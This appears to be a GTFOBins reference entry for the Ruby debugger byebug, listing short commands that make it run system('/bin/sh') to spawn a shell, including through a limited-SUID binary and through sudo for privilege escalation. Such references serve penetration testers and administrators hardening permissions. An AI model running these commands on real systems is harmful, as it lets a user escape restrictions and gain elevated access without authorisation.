GTFOBins.github.io/_gtfobins/byebug.md
2020-03-17 20:12:46 +01:00

22 lines
389 B
Markdown

---
functions:
shell:
- code: |
TF=$(mktemp)
echo 'system("/bin/sh")' > $TF
byebug $TF
continue
limited-suid:
- code: |
TF=$(mktemp)
echo 'system("/bin/sh")' > $TF
./byebug $TF
continue
sudo:
- code: |
TF=$(mktemp)
echo 'system("/bin/sh")' > $TF
sudo byebug $TF
continue
---